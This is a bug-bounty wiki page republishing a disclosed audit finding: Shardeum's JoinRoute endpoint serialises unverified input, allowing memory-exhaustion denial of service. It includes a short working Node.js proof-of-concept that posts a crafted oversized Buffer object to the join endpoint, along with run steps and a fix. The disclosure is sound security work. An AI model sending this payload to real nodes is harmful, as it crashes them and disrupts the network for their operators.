Skip to content
DoS Audit finding Intermediate

JoinRoute: Attacker reachable input serialization

The JoinRoute endpoint serialises attacker-controlled input before verifying it, allowing a small request to describe a large memory structure. An attacker could exhaust a node's memory, causing the OS to kill the process and potentially disrupt the network.

riproprip Follow

Originally disclosed on Immunefi

Critical View original
  • Disclosed after under an hour

#39191 [BC-Critical] JoinRoute: Attacker reachable input serialization

Submitted on Jan 24th 2025 at 12:04:06 UTC by @riproprip for Audit Comp | Shardeum: Core III

Description

Brief/Intro

JoinRoute allows an attacker to oom reap a node.

Vulnerability Details

JoinRoute trusts and serializes attacker controlled input before verifying the input.

The attacker can essentially describe in few bytes a memory structure that takes many bytes when serializing. This is a problem because it allows an attacker to allocate all the free memory till the OS has to step in and kill the process.

It seems that moving L85 to the front of the function and running it against the body would fix the problem. Not sure why shardeum is stringifying and parsing again in the first place?

Impact Details

Usually just the node process gets killed.
In rare cases the OS also kills other processes.

References

The offendingline:

Proof of Concept

Proof of Concept

Setup

  • Setup shardus and shardus start N instances.
  • Save attack code under /tmp/1_attack.js
const axios   = require("axios");

let objToSend  = {hello: {type: 'Buffer', data: {0: 1, 1:1, 2:2, length:4294967295}}};
function attack() {
        axios.post("http://localhost:9003/join", objToSend, {timeout: 2000 })
        .then(
             res => {
                     console.log('Status ', res.status);
                     console.log(res.data);
                     process.exit();
             },
             err => {console.log('ERR', err.message);}
     )
}

attack();
  • install dependencies
cd /tmp
npm install axios

run

node /tmp/1_attack.js

notes

Please find attached the screenshot of my attack run.

You can see the node at port 9003 using more and more memory.

At a certain point the OS steps in to reap the process (dmesg part of screenshot).

The original report as published on Immunefi, by riproprip. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

What the attacker needed

Network access to the node's join endpoint

The fix

The fix should move the validation (line 85) to the front of the function and run it against the body before serialisation.

How it was found

  1. Set up shardus and start N instances.
  2. Save the attack script to /tmp/1_attack.js.
  3. Install axios in /tmp.
  4. Run the attack script with node.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A server endpoint accepts data from the network and converts it into an internal format before checking whether the data is valid. An attacker can send a tiny message that expands into a huge memory allocation, using up all the server's memory until the operating system kills it.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by riproprip

View all

5 more disclosed reports, best first.

More from Shardeum: Core III

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.